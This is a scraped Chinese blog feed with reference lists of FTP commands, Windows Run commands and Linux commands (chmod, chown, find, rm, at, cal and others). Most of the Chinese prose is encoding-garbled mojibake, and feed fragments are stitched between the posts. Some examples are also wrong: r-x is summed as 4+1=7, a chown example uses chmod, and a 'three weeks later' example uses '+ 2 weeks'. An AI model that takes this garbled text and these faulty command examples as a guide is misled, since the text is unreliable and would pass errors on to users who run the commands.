4.append local-file[remote-file]Q将本地文gq加到远E系l主机,若未指定q程pȝ文g名,则用本地文件名?/div>
5.asciiQ用asciicd传输方式?br />6.bellQ每个命令执行完毕后计算机响铃一ơ?/div>
7.binQ用二q制文g传输方式?br />8.byeQ退出ftp?x)话q程?/div>
9.caseQ在使用mgetӞ远E主机文件名中的大写转ؓ(f)写字母?
10.cd remote-dirQ进入远E主机目录?/div>
11.cdupQ进入远E主机目录的父目录?
12.chmod mode file-nameQ将q程L文gfile-name的存取方式设|ؓ(f)modeQ如Qchmod 777 a.out?/div>
13.closeQ中断与q程服务器的ftp?x)?与open对应)?
14.crQ用asscii方式传输文gӞ回车换行{换ؓ(f)回行?/div>
15.delete remote-fileQ删除远E主机文件?
16.debug[debug-value]Q设|调试方式, 昄发送至q程L的每条命令,如:(x)deb up 3Q若设ؓ(f)0Q表C取消debug?/div>
17.dir[remote-dir][local-file]Q显CE主机目录,q将l果存入本地文g?
18.disconnectionQ同close?/div>
19.form formatQ将文g传输方式讄为formatQ缺省ؓ(f)file方式?
20.get remote-file[local-file]Q?远E主机的文gremote-file传至本地盘的local-file?/div>
21.globQ设|mdeleteQmgetQmput的文件名扩展Q缺省时不扩展文件名Q同命o(h)行的-g参数?
22.hashQ每传输1024字节Q显CZ个hashW号(#)?/div>
23.help[cmd]Q显Cftp内部命o(h)cmd的帮助信息,如:(x)help get?
24.idle[seconds]Q将q程服务器的休眠计时器设为[seconds]U?/div>
25.imageQ设|二q制传输方式(同binary)?
26.lcd[dir]Q将本地工作目录切换至dir?/div>
27.ls[remote-dir][local-file]Q显CE目录remote-dirQ?q存入本地文件local-file?
28.macdef macro-nameQ定义一个宏Q遇到macdef下的IӞ宏定义结束?/div>
29.mdelete[remote-file]Q删除远E主机文件?
30.mdir remote-files local-fileQ与dircMQ但可指定多个远E文Ӟ?Qmdir *.o.*.zipoutfile ?/div>
31.mget remote-filesQ传输多个远E文件?
32.mkdir dir-nameQ在q程L中徏一目录?/div>
33.mls remote-file local-fileQ同nlistQ但可指定多个文件名?
34.mode[modename]Q将文g传输方式讄为modenameQ?~省为stream方式?/div>
35.modtime file-nameQ显CE主机文件的最后修Ҏ(gu)间?
36.mput local-fileQ将多个文g传输臌E主机?/div>
37.newer file-nameQ?如果q程Zfile-name的修Ҏ(gu)间比本地盘同名文g的时间更q,则重传该文g?br />38.nlist[remote-dir][local-file]Q显CE主机目录的文g清单Qƈ存入本地盘的local-file?/div>
39.nmap[inpattern outpattern]Q设|文件名映射机制Q?使得文g传输Ӟ文g中的某些字符怺转换Q?如:(x)nmap $1.$2.$3[$1Q?2].[$2Q?3]Q则传输文ga1.a2.a3Ӟ文g名变为a1Qa2?该命令特别适用于远E主Zؓ(f)非UNIX机的情况?br />40.ntrans[inchars[outchars]]Q设|文件名字符的翻译机Ӟ如ntrans1RQ则文g名LLL变为RRR?/div>
41.open host[port]Q徏立指定ftp服务器连接,可指定连接端口?
42.passiveQ进入被动传输方式?/div>
43.promptQ设|多个文件传输时的交互提C?
44.proxy ftp-cmdQ在ơ要控制q接中,执行一条ftp命o(h)Q?该命令允许连接两个ftp服务器,以在两个服务器间传输文g。第一条ftp命o(h)必须为openQ以首先建立两个服务器间的连接?br />45.put local-file[remote-file]Q将本地文glocal-file传送至q程L?
46.pwdQ显CE主机的当前工作目录?/div>
47.quitQ同byeQ退出ftp?x)话?
48.quote arg1Qarg2...Q将参数逐字发至q程ftp服务器,如:(x)quote syst.
49.recv remote-file[local-file]Q同get?
50.reget remote-file[local-file]Q类ggetQ?但若local-file存在Q则从上ơ传输中断处l传?/div>
51.rhelp[cmd-name]Q请求获得远E主机的帮助?
52.rstatus[file-name]Q若未指定文件名Q则昄q程L的状态, 否则昄文g状态?/div>
53.rename[from][to]Q更改远E主机文件名?
54.resetQ清除回{队列?/div>
55.restart markerQ从指定的标志marker处,重新开始get或putQ如Qrestart 130?
56.rmdir dir-nameQ删除远E主机目录?/div>
57.runiqueQ设|文件名只一性存储,若文件存在,则在原文件后加后~.1Q?.2{?
58.send local-file[remote-file]Q同put?/div>
59.sendportQ设|PORT命o(h)的用?
60.site arg1Qarg2...Q将参数作ؓ(f)SITE命o(h)逐字发送至q程ftpL?/div>
61.size file-nameQ显CE主机文件大,如:(x)site idle 7200?
62.statusQ显C当前ftp状态?/div>
63.struct[struct-name]Q将文g传输l构讄为struct-nameQ?~省时用streaml构?
64.suniqueQ将q程L文g名存储设|ؓ(f)只一(与runique对应)?/div>
65.systemQ显CE主机的操作pȝcd?
66.tenexQ将文g传输cd讄为TENEX机的所需的类型?/div>
67.tickQ设|传输时的字节计数器?
68.traceQ设|包跟踪?/div>
69.type[type-name]Q设|文件传输类型ؓ(f)type-nameQ缺省ؓ(f)asciiQ如:type binaryQ设|二q制传输方式?
70.umask[newmask]Q将q程服务器的~省umask讄为newmaskQ如Qumask 3
71.user user-name[password][account]Q向q程L表明自己的n份,需要口令时Q必输入口令,如:(x)user anonymous my@email?
72.verboseQ同命o(h)行的-v参数Q即讄详尽报告方式Qftp 服务器的所有响 应都显C给用户Q缺省ؓ(f)on.
73.?[cmd]Q同help.

#11 十一Q?/div>
7Q计机q行命o(h)全集 winver---------查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
winver---------查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
wscript--------windows脚本宿主讄
write----------写字板winmsd-----pȝ信息
wiaacmgr-------扫描仪和照相机向?br />winchat--------XP自带局域网聊天
mem.exe--------昄内存使用情况
Msconfig.exe---pȝ配置实用E序
mplayer2-------易widnows media player
mspaint--------d?br />mstsc----------q程桌面q接
mplayer2-------媒体播放?br />magnify--------攑֤镜实用程?br />mmc------------打开控制?br />mobsync--------同步命o(h)
dxdiag---------查DirectX信息
drwtsn32------ pȝȝ
devmgmt.msc--- 讑֤理?br />dfrg.msc-------盘片整理E序
diskmgmt.msc---盘理实用E序
dcomcnfg-------打开pȝlg服务
ddeshare-------打开DDE׃n讄
dvdplay--------DVD播放?br />net stop messenger-----停止信服务
net start messenger----开始信使服?
notepad--------打开C?br />nslookup-------|络理的工具向?br />ntbackup-------pȝ备䆾和还?br />narrator-------屏幕"讲述?
ntmsmgr.msc----Ud存储理?br />ntmsoprq.msc---Ud存储理员操作请?br />netstat -an----(TC)命o(h)查接?br />syncapp--------创徏一个公文包
sysedit--------pȝ配置~辑?br />sigverif-------文g{֐验证E序
sndrec32-------录音?br />shrpubw--------创徏׃n文g?br />secpol.msc-----本地安全{略
syskey---------pȝ加密Q一旦加密就不能解开Q保护windows xppȝ的双重密?br />services.msc---本地服务讄
Sndvol32-------音量控制E序
sfc.exe--------pȝ文g查器
sfc /scannow---windows文g保护
tsshutdn-------60U倒计时关机命?br />tourstart------xp介(安装完成后出现的漫游xpE序Q?br />taskmgr--------d理?br />eventvwr-------事g查看?br />eudcedit-------造字E序
explorer-------打开资源理?br />packager-------对象包装E序
perfmon.msc----计算机性能监测E序
progman--------E序理?br />regedit.exe----注册?
rsop.msc-------l策略结果集
regedt32-------注册表编辑器
rononce -p ----15U关?br />regsvr32 /u *.dll----停止dll文gq行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命o(h)提示W?br />chkdsk.exe-----Chkdsk盘?gu)?br />certmgr.msc----证书理实用E序
calc-----------启动计算?br />charmap--------启动字符映射?br />cliconfg-------SQL SERVER 客户端网l实用程?br />Clipbrd--------剪脓(chung)板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管?br />cleanmgr-------**整理
ciadv.msc------索引服务E序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----查XP是否Ȁz?br />lusrmgr.msc----本机用户和组
logoff---------注销命o(h)
iexpress-------木马捆绑工具Q系l自?br />Nslookup-------IP地址侦测?br />fsmgmt.msc-----׃n文g夹管理器
utilman--------辅助工具理?br />gpedit.msc-----l策略?br />



Alpha 2006-12-22 09:46 发表评论
]]>pȝq行命o(h)全集http://www.aygfsteel.com/Alpha/articles/8013.htmlAlphaAlphaTue, 19 Jul 2005 12:34:00 GMThttp://www.aygfsteel.com/Alpha/articles/8013.htmlhttp://www.aygfsteel.com/Alpha/comments/8013.htmlhttp://www.aygfsteel.com/Alpha/articles/8013.html#Feedback0http://www.aygfsteel.com/Alpha/comments/commentRss/8013.htmlhttp://www.aygfsteel.com/Alpha/services/trackbacks/8013.html 
  gpedit.msc-----l策?sndrec32-------录音?BR>  Nslookup-------IP地址侦测?explorer-------打开资源理?BR>  logoff---------注销命o(h) tsshutdn-------60U倒计时关机命?BR>  lusrmgr.msc----本机用户和组 services.msc---本地服务讄
  oobe/msoobe /a----查XP是否Ȁz?notepad--------打开C?BR>  cleanmgr-------垃圾整理
  net start messenger----开始信使服?BR>  compmgmt.msc---计算机管?BR>  net stop messenger-----停止信服务
  conf-----------启动netmeeting dvdplay--------DVD播放?BR>  charmap--------启动字符映射?diskmgmt.msc---盘理实用E序
  calc-----------启动计算?dfrg.msc-------盘片整理E序
  chkdsk.exe-----Chkdsk盘?gu)?devmgmt.msc--- 讑֤理?BR>  regsvr32 /u *.dll----停止dll文gq行 drwtsn32------ pȝȝ
  rononce -p ----15U关?dxdiag---------查DirectX信息
  regedt32-------注册表编辑器 Msconfig.exe---pȝ配置实用E序
  rsop.msc-------l策略结果集 mem.exe--------昄内存使用情况
  regedit.exe----注册?winchat--------XP自带局域网聊天
  progman--------E序理?winmsd---------pȝ信息
  perfmon.msc----计算机性能监测E序 winver---------查Windows版本
  sfc /scannow-----扫描错误q复?BR>  taskmgr-----d理?img src ="http://www.aygfsteel.com/Alpha/aggbug/8013.html" width = "1" height = "1" />

Alpha 2005-07-19 20:34 发表评论
]]>
Linux命o(h)全集http://www.aygfsteel.com/Alpha/articles/8012.htmlAlphaAlphaTue, 19 Jul 2005 12:33:00 GMThttp://www.aygfsteel.com/Alpha/articles/8012.htmlhttp://www.aygfsteel.com/Alpha/comments/8012.htmlhttp://www.aygfsteel.com/Alpha/articles/8012.html#Feedback1http://www.aygfsteel.com/Alpha/comments/commentRss/8012.htmlhttp://www.aygfsteel.com/Alpha/services/trackbacks/8012.html 名称Qcat
使用权限Q所有用?br />使用方式Qcat [-AbeEnstTuv] [--help] [--version] fileName
说明Q把档案串连接后传到基本输出Q萤q或?> fileName 到另一个档案)
参数Q?br />-n ?--number ?1 开始对所有输出的行数~号
-b ?--number-nonblank ?-n 怼Q只不过对于I白行不~号
-s ?--squeeze-blank 当遇到有q箋两行以上的空白行Q就代换Z行的I白?br />-v ?--show-nonprinting

范例Q?br />cat -n textfile1 > textfile2 ?textfile1 的档案内容加上行号后输入 textfile2 q个档案?br />cat -b textfile1 textfile2 >> textfile3 ?textfile1 ?textfile2 的档案内容加上行PI白行不加)之后内定w加到 textfile3

名称 : cd
使用权限 : 所有用?/p>

使用方式 : cd [dirName]

说明 : 变换工作目录?dirName?其中 dirName 表示法可为绝对\径或相对路径。若目录名称省略Q则变换至用者的 home directory (也就是刚 login 时所在的目录)?/p>

另外Q?~" 也表CZؓ(f) home directory 的意思,"." 则是表示目前所在的目录Q?.." 则表C目前目录位|的上一层目录?/p>

范例 : 跛_ /usr/bin/ :
cd /usr/bin

跛_自己?home directory :
cd ~

跛_目前目录的上上两?:
cd ../..


指o(h)名称 : chmod
使用权限 : 所有用?/p>

使用方式 : chmod [-cfvR] [--help] [--version] mode file...

说明 : Linux/Unix 的档案存取权限分ZU?: 档案拥有者、群l、其他。利?chmod 可以藉以控制档案如何被他人所存取?/p>

把计 :

mode : 权限讑֮字串Q格式如?: [ugoa...][[+-=][rwxX]...][,...]Q其中u 表示该档案的拥有者,g 表示与该档案的拥有者属于同一个群?group)者,o 表示其他以外的hQa 表示q三者皆是?br />+ 表示增加权限? 表示取消权限? 表示唯一讑֮权限?br />r 表示可读取,w 表示可写入,x 表示可执行,X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行?br />-c : 若该档案权限实已经更改Q才昄其更改动?br />-f : 若该档案权限无法被更改也不要昄错误讯息
-v : 昄权限变更的详l资?br />-R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)
--help : 昄辅助说明
--version : 昄版本

范例 :档?file1.txt 设ؓ(f)所有h皆可d :
chmod ugo+r file1.txt

档?file1.txt 设ؓ(f)所有h皆可d :
chmod a+r file1.txt

档?file1.txt ?file2.txt 设ؓ(f)该档案拥有者,与其所属同一个群体者可写入Q但其他以外的h则不可写?:
chmod ug+w,o-w file1.txt file2.txt

?ex1.py 讑֮为只有该档案拥有者可以执?:
chmod u+x ex1.py

目前目录下的所有档案与子目录皆设ؓ(f)M人可d :
chmod -R a+r *

此外chmod也可以用数字来表C权限如 chmod 777 file
语法为:(x)chmod abc file

其中a,b,c各ؓ(f)一个数字,分别表示User、Group、及(qing)Other的权限?/p>

r=4Qw=2Qx=1
若要rwx属性则4+2+1=7Q?br />若要rw-属性则4+2=6Q?br />若要r-x属性则4+1=7?/p>

范例Q?br />chmod a=rwx file

?br />chmod 777 file

效果相同
chmod ug=rwx,o=x file

?br />chmod 771 file

效果相同

 

若用chmod 4755 filename可此程式具有root的权?/p>


指o(h)名称 : chown
使用权限 : root

使用方式 : chmod [-cfhvR] [--help] [--version] user[:group] file...

说明 : Linux/Unix 是多人多工作业系l,所有的档案皆有拥有者。利?chown 可以档案的拥有者加以改变。一般来_(d)q个指o(h)只有是由pȝ理?root)所使用Q一般用者没有权限可以改变别人的档案拥有者,也没有权限可以自q档案拥有者改设ؓ(f)别h。只有系l管理?root)才有q样的权限?/p>

把计 :

user : 新的档案拥有者的使用?IDgroup : 新的档案拥有者的使用者群?group)-c : 若该档案拥有者确实已l更改,才显C其更改动作-f : 若该档案拥有者无法被更改也不要显C错误讯?h : 只对于连l?link)q行变更Q而非?link 真正指向的档?v : 昄拥有者变更的详细资料-R : 对目前目录下的所有档案与子目录进行相同的拥有者变?即以递回的方式逐个变更)--help : 昄辅助说明--version : 昄版本

范例 :
档?file1.txt 的拥有者设?users 体的用?jessie :
chown jessie:users file1.txt

目前目录下的所有档案与子目录的拥有者皆设ؓ(f) users 体的用?lamport :
chmod -R lamport:users *


名称Qcp
使用权限Q所有用?/p>

使用方式Q?/p>

cp [options] source dest
cp [options] source... directory

说明Q将一个档案拷贝至另一档案Q或数个档案拷贝至另一目录?/p>

把计

-a 可能将档案状态、权限等资料都照原状予以复制?br />-r ?source 中含有目录名Q则目录下之档案亦皆依序拷贝至目的地?br />-f 若目的地已经有相同档名的档案存在Q则在复制前先予以删除再行复制?br />范例Q?br />档?aaa 复制(已存?Qƈ命名?bbb :
cp aaa bbb

所有的C语言E式拯?Finished 子目录中 :
cp *.c Finished


名称Qcut

使用权限Q所有用?/p>

用法Qcut -cnum1-num2 filename

说明Q显C每行从开头算?num1 ?num2 的文字?/p>

范例Q?/p>

shell>> cat example
test2
this is test1
shell>> cut -c0-6 example ## print 开头算起前 6 个字?br />test2
this i


名称 : find
用法 : find
使用说明 :

档案系l内W合 expression 的档案列出来。你可以指要档案的名U、类别、时间、大、权限等不同资讯的组合,只有完全相符的才?x)被列出来?/p>

find Ҏ(gu)下列规则判断 path ?expressionQ在命o(h)列上W一?- ( ) , ! 之前的部份ؓ(f) pathQ之后的?expression。如?path 是空字串则用目前\径,如果 expression 是空字串则?-print 为预?expression

expression 中可使用的选项有二三十个之多,在此只介l最常用的部份?/p>

-mount, -xdev : 只检查和指定目录在同一个档案系l下的档案,避免列出其它档案pȝ中的档案
-amin n : 在过?n 分钟内被dq?br />-anewer file : 比档?file 更晚被读取过的档?br />-atime n : 在过?n 天过dq的档案
-cmin n : 在过?n 分钟内被修改q?br />-cnewer file :比档?file 更新的档?br />-ctime n : 在过?n 天过修改q的档案
-empty : I的档案-gid n or -group name : gid ?n 或是 group 名称?name
-ipath p, -path p : 路径名称W合 p 的档案,ipath ?x)忽略大?br />-name name, -iname name : 档案名称W合 name 的档案。iname ?x)忽略大?br />-size n : 档案大小 ?n 单位Qb 代表 512 位元l的区块Qc 表示字元敎ͼk 表示 kilo bytesQw 是二个位元组?type c : 档案cd?c 的档案?br />d: 目录
c: 字型装置档案
b: 区块装置档案
p: 具名贮列
f: 一般档?br />l: W号q结
s: socket
-pid n : process id ?n 的档?/p>

你可以?( ) 运式分隔Qƈ使用下列q算?br />exp1 -and exp2
! expr
-not expr
exp1 -or exp2
exp1, exp2
范例:
目前目录及(qing)其子目录下所有g伸档名是 c 的档案列出来?br /># find . -name "*.c"


目前目录其其下子目录中所有一般档案列?br /># find . -ftype f


目前目录及(qing)其子目录下所有最q?20 分钟内更新过的档案列?br /># find . -ctime -20


名称Qless

使用权限Q所有用?/p>

使用方式Q?/p>

less [Option] filename

说明Q?br />less 的作用与 more 十分怼Q都可以用来览文字档案的内容,不同的是 less 允许使用者往回卷?br />以浏览已l看q的部䆾Q同时因?less q未在一开始就d整个档案Q因此在遇上大型档案的开启时Q会(x)比一般的文书~辑??vi)来的快速?/p>


范例Q?/p>


指o(h)名称 : ln
使用权限 : 所有用?/p>

使用方式 : ln [options] source distQ其?option 的格式ؓ(f) :

[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]
[--help] [--version] [--]
说明 : Linux/Unix 档案pȝ中,有所谓的q结(link)Q我们可以将其视为档案的别名Q而连l又可分ZU?: 连l?hard link)与Yq结(symbolic link)Q硬q结的意思是一个档案可以有多个名称Q而Yq结的方式则是生一个特D的档案Q该档案的内Ҏ(gu)指向另一个档案的位置。硬q结是存在同一个档案系l中Q而Yq结却可以跨不同的档案pȝ?br />ln source dist 是生一个连l?dist)?sourceQ至于用硬q结或Y铄则由参数军_?/p>

不论是硬q结或Y铄都不?x)将原本的档案复制一份,只会(x)占用非常量的磁空间?/p>


-f : 铄时先与 dist 同档名的档案删除-d : 允许pȝ理者硬铄自己的目?i : 在删除与 dist 同档名的档案时先q行询问-n : 在进行Yq结Ӟ?dist 视ؓ(f)一般的档案-s : q行软链l?symbolic link)-v : 在连l之前显C其档名-b : 在铄时会(x)被覆写或删除的档案进行备?S SUFFIX : 备份的档案都加?SUFFIX 的字?V METHOD : 指定备䆾的方?-help : 昄辅助说明--version : 昄版本
范例 :
档?yy 产生一?symbolic link : zz
ln -s yy zz

档?yy 产生一?hard link : zz
ln yy xx


名称Qlocate
使用权限Q所有用?br />使用方式Q?locate [-q] [-d ] [--database=]
locate [-r ] [--regexp=]
locate [-qv] [-o ] [--output=]
locate [-e ] [-f ] <[-l ] [-c]
<[-U ] [-u]>
locate [-Vh] [--version] [--help]
说明Q?br />locate 让用者可以很快速的搜寻档案pȝ内是否有指定的档案。其Ҏ(gu)是先建立一个包括系l内所有档案名U及(qing)路径的资料库Q之后当L时就只需查询q个资料库,而不必实际深入档案系l之中了?/p>

在一般的 distribution 之中Q资料库的徏立都被放?contab 中自动执行。一般用者在使用时只要用

# locate your_file_name

的型式就可以了?参数Q?br />-u
-U

建立资料库,-u ?x)由根目录开始,-U 则可以指定开始的位置?/p>

-e

?br />排除在寻扄范围之外?/p>

-l
如果 ?1Q则启动安全模式。在安全模式下,使用者不?x)看到权限无法看到的档案。这?x)始速度减慢Q因?locate 必须臛_际的档案pȝ中取得档案的权限资料?/p>

-f
特定的档案pȝ排除在外Q例如我们没有到理要?proc 档案pȝ中的档案攑֜资料库中?/p>

-q
安静模式Q不?x)显CZQ何错误讯息?/p>

-n
臛_昄 个输出?/p>

-r
使用正规q算?做寻扄条g?/p>

-o
指定资料库存的名U?/p>

-d

指定资料库的路径

-h
昄辅助讯息

-v
昄更多的讯?/p>

-V
昄E式的版本讯?范例Q?/p>

locate chdrv : L所有叫 chdrv 的档?br />locate -n 100 a.out : L所有叫 a.out 的档案,但最多只昄 100 ?br />locate -u : 建立资料?/p>


名称 : ls
使用权限 : 所有用?/p>

使用方式 : ls [-alrtAFR] [name...]

说明 : 昄指定工作目录下之内容Q列出目前工作目录所含之档案?qing)子目??/p>


-a 昄所有档案及(qing)目录 (ls内定档案名或目录名U开头ؓ(f)"."的视为隐藏档Q不?x)列?
-l 除档案名U外Q亦档案型态、权限、拥有者、档案大等资讯详细列出
-r 档案以相反ơ序昄(原定依英文字母次?
-t 档案依建立旉之先后次序列?br />-A ?-a Q但不列?"." (目前目录) ?".." (父目?
-F 在列出的档案名称后加一W号Q例如可执行档则?"*", 目录则加 "/"
-R 若目录下有档案,则以下之档案亦皆依序列出

范例Q?br />列出目前工作目录下所有名U是 s 开头的档案Q愈新的排愈后面 :
ls -ltr s*

?/bin 目录以下所有目录及(qing)档案详细资料列出 :
ls -lR /bin

列出目前工作目录下所有档案及(qing)目录Q目录于名称后加 "/", 可执行档于名U后?"*" :
ls -AF

名称Qmore
使用权限Q所有用?br />使用方式Qmore [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]
说明Q类?cat Q不q会(x)以一一늚昄方便使用者逐页阅读Q而最基本的指令就是按I白键(spaceQ就往下一|C,?b 键就?x)往回(backQ一|C,而且q有搜寻字串的功能(?vi 怼Q,使用中的说明文gQ请?h ?br />参数Q?num 一ơ显C的行数
-d 提示使用者,在画面下Ҏ(gu)C?[Press space to continue, q to quit.] Q如果用者按错键Q则?x)显C?[Press h for instructions.] 而不是哔?br />-l 取消遇见Ҏ(gu)字元 ^LQ送纸字元Q时?x)暂停的功?br />-f 计算行数Ӟ以实际上的行敎ͼ而非自动换行q后的行敎ͼ有些单行字数太长的会(x)被扩展ؓ(f)两行或两行以上)
-p 不以卷动的方式显C每一,而是先清除萤q后再显C内?br />-c ?-p 怼Q不同的是先昄内容再清除其他旧资料
-s 当遇到有q箋两行以上的空白行Q就代换Z行的I白?br />-u 不显CZ引号 Q根据环境变?TERM 指定?terminal 而有所不同Q?br />+/ 在每个档案显C前搜寻该字ԌpatternQ,然后从该字串之后开始显C?br />+num 从第 num 行开始显C?br />fileNames Ʋ显C内容的档案Q可为复C?br />范例Q?br />more -s testfile 逐页昄 testfile 之档案内容,如有q箋两行以上I白行则以一行空白行昄?br />more +20 testfile 从第 20 行开始显C?testfile 之档案内宏V?/p>


名称Qmv
使用权限Q所有用?/p>

使用方式Q?/p>

mv [options] source dest
mv [options] source... directory
说明Q将一个档案移臛_一档案Q或数个档案移臛_一目录?br />参数Q?i 若目的地已有同名档案Q则先询问是否覆盖旧档?/p>

范例Q?/p>

档?aaa 更名?bbb :
mv aaa bbb

所有的C语言E式U至 Finished 子目录中 :
mv -i *.c


名称Qrm
使用权限Q所有用?/p>

使用方式Qrm [options] name...

说明Q删除档案及(qing)目录?/p>

把计

-i 删除前逐一询问认?br />-f 即原档案属性设为唯读,亦直接删除,无需逐一认?br />-r 目录及(qing)以下之档案亦逐一删除?br />范例Q?br />删除所有C语言E式档;删除前逐一询问认 :
rm -i *.c

?Finished 子目录及(qing)子目录中所有档案删?:
rm -r Finished


名称Qrmdir
使用权限Q于目前目录有适当权限的所有用?/p>

使用方式Q?rmdir [-p] dirName

说明Q?删除I的目录?/p>

参数Q?-p 是当子目录被删除后它也成ؓ(f)I目录的话,则顺便一q删除?/p>

范例Q?/p>

工作目录下Q名?AAA 的子目录删除 :
rmdir AAA

在工作目录下?BBB 目录中,删除名ؓ(f) Test 的子目录。若 Test 删除后,BBB 目录成ؓ(f)I目录,?BBB 亦予删除?br />rmdir -p BBB/Test


名称Qsplit
使用权限Q所有用?/p>

使用方式Qsplit [OPTION] [INPUT [PREFIX]]

说明Q?/p>

一个档案分割成C。而从 INPUT 分割输出成固定大的档案Q其档名依序?PREFIXaa, PREFIXab...QPREFIX 预设gؓ(f) ****x。若没有 INPUT 档或?****-Q则从标准输入读q资料?/p>

匡兜

-b, --bytes=SIZE

SIZE gؓ(f)每一输出档案的大,单位?byte?br />-C, --line-bytes=SIZE

每一输出档中Q单行的最?byte 数?br />-l, --lines=NUMBER

NUMBER gؓ(f)每一输出档的列数大小?br />-NUMBER

?-l NUMBER 相同?br />--verbose

于每个输出档被开启前Q列印出侦错资讯到标准错误输出?br />--help

昄辅助资讯然后d?br />--version

列出版本资讯然后d?br />SIZE 可加入单? b 代表 512Q?k 代表 1KQ?m 代表 1 Meg?/p>

范例Q?/p>

PostgresSQL 大型资料库备份与回存Q?/p>

?Postgres 允许表格大过你系l档案的最大容量,所以要表?dump 到单一的档案可能会(x)有问题,使用 splitq行档案分割?/p>


% pg_dump dbname | split -b 1m - filename.dump.


重新载入


% createdb dbname
% cat filename.dump.* | pgsql dbname


名称Qtouch
使用权限Q所有用?/p>

使用方式Q?br />touch [-acfm]
[-r reference-file] [--file=reference-file]
[-t MMDDhhmm[[CC]YY][.ss]]
[-d time] [--date=time] [--time={atime,access,use,mtime,modify}]
[--no-create] [--help] [--version]
file1 [file2 ...]


说明Q?br />touch 指o(h)改变档案的时间记录?ls -l 可以昄档案的时间记录?/p>


参数Q?br />a 改变档案的读取时间记录?br />m 改变档案的修Ҏ(gu)间记录?br />c 假如目的档案不存在,不会(x)建立新的档案。与 --no-create 的效果一栗?br />f 不用,是ؓ(f)了与其他 unix pȝ的相Ҏ(gu)而保留?br />r 使用参考档的时间记录,?--file 的效果一栗?br />d 讑֮旉与日期,可以使用各种不同的格式?br />t 讑֮档案的时间记录,格式?date 指o(h)相同?br />--no-create 不会(x)建立新档案?br />--help 列出指o(h)格式?br />--version 列出版本讯息?/p>


范例Q?/p>


最单的使用方式Q将档案的时候记录改为现在的旉。若档案不存在,pȝ?x)徏立一个新的档案?/p>

touch file
touch file1 file2

?file 的时间记录改?5 ?6 ?18 ?3 分,公元两千q。时间的格式可以参?date 指o(h)Q至需输入 MMDDHHmm Q就是月日时与分?/p>

touch -c -t 05061803 file
touch -c -t 050618032000 file

?file 的时间记录改变成?referencefile 一栗?/p>

touch -r referencefile file

?file 的时间记录改?5 ?6 ?18 ?3 分,公元两千q。时间可以?am, pm 或是 24 时的格式,日期可以使用其他格式?6 May 2000 ?/p>

touch -d "6:03pm" file
touch -d "05/06/2000" file
touch -d "6:03pm 05/06/2000" file

名称 : at
使用权限 : 所有用?/p>

使用方式 : at -V [-q queue] [-f file] [-mldbv] TIME

说明 : at 可以让用者指定在 TIME q个特定时刻执行某个E式或指令,TIME 的格式是 HH:MM其中?HH 为小ӞMM 为分钟,甚至你也可以指定 am, pm, midnight, noon, teatime(是下午 4 炚w){口语词?/p>

如果惌指定过一天内的时_(d)则可以用 MMDDYY 或?MM/DD/YY 的格式,其中 MM 是分钟,DD 是第几日QYY 是指q䆾。另外,使用者甚至也可以使用像是 now + 旉间隔来弹性指定时_(d)其中的时间间隔可以是 minutes, hours, days, weeks

另外Q用者也可指?today ?tomorrow 来表CZ天或明天。当指定了时间ƈ按下 enter 之后Qat ?x)进入交谈模式ƈ要求输入指o(h)或程式,当你输入完后按下 ctrl+D 卛_完成所有动作,至于执行的结果将?x)寄回你的帐号中?/p>

把计 :

-V : 印出版本~号
-q : 使用指定的O?Queue)来储存,at 的资料是存放在所谓的 queue 中,使用者可以同时用多?queueQ?queue 的编号ؓ(f) a, b, c... z 以及(qing) A, B, ... Z ?52 ?br />-m : 即ɽE式/指o(h)执行完成后没有输出结? 也要寄封信给使用?br />-f file : d预先写好的命令档。用者不一定要使用交谈模式来输入,可以先将所有的指定先写入档案后再一ơ读?br />-l : 列出所有的指定 (使用者也可以直接使用 atq 而不?at -l)
-d : 删除指定 (使用者也可以直接使用 atrm 而不?at -d)
-v : 列出所有已l完成但未删除的指?/p>

例子 :
三天后的下午 5 炚w执行 /bin/ls :
at 5pm + 3 days /bin/ls

三个星期后的下午 5 炚w执行 /bin/ls :
at 5pm + 2 weeks /bin/ls

明天?17:20 执行 /bin/date :
at 17:20 tomorrow /bin/date

1999 q的最后一天的最后一分钟印出 the end of world !
at 23:59 12/31/1999 echo the end of world !

--------------------------------------------------------------------------------
 
--  作者:(x)babyz
--  发布旉Q?004-2-3 1:23:26

-- 
名称Qcal

使用权限Q所有用?/p>

使用方式Qcal [-mjy] [month [year]]

说明Q?/p>

昄日历。若只有一个参敎ͼ则代表年?1-9999)Q显Cq的q历。年份必d部写出:(x)********cal 89 不?x)是昄?1989 q的q历。用两个参敎ͼ则表C月份及(qing)q䆾。若没有参数则显C个月的月历?br />1752 q?9 月第 3 日v改用西洋新历Q因q时大部份的国家都采用新历,?10 天被去除Q所以该月䆾的月历有些不同。在此之前ؓ(f)西洋旧历?/p>

匡兜

-m : 以星期一为每周的W一天方式显C?br />-j : 以凯撒历昄Q即以一月一日v的天数显C?br />-y : 昄今年q历?/p>

范例Q?/p>

cal : 昄本月的月历?/p>


[root@mylinux /root]# date
Tue Aug 15 08:00:18 CST 2000
[root@mylinux /root]# cal
August 2000
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31

[root@mylinux /root]#


cal 2001 : 昄公元 2001 q年历?/p>

[root@mylinux /root]# cal 2001
2001

January February March
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 1 2 3 1 2 3
7 8 9 10 11 12 13 4 5 6 7 8 9 10 4 5 6 7 8 9 10
14 15 16 17 18 19 20 11 12 13 14 15 16 17 11 12 13 14 15 16 17
21 22 23 24 25 26 27 18 19 20 21 22 23 24 18 19 20 21 22 23 24
28 29 30 31 25 26 27 28 25 26 27 28 29 30 31

April May June
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7 1 2 3 4 5 1 2
8 9 10 11 12 13 14 6 7 8 9 10 11 12 3 4 5 6 7 8 9
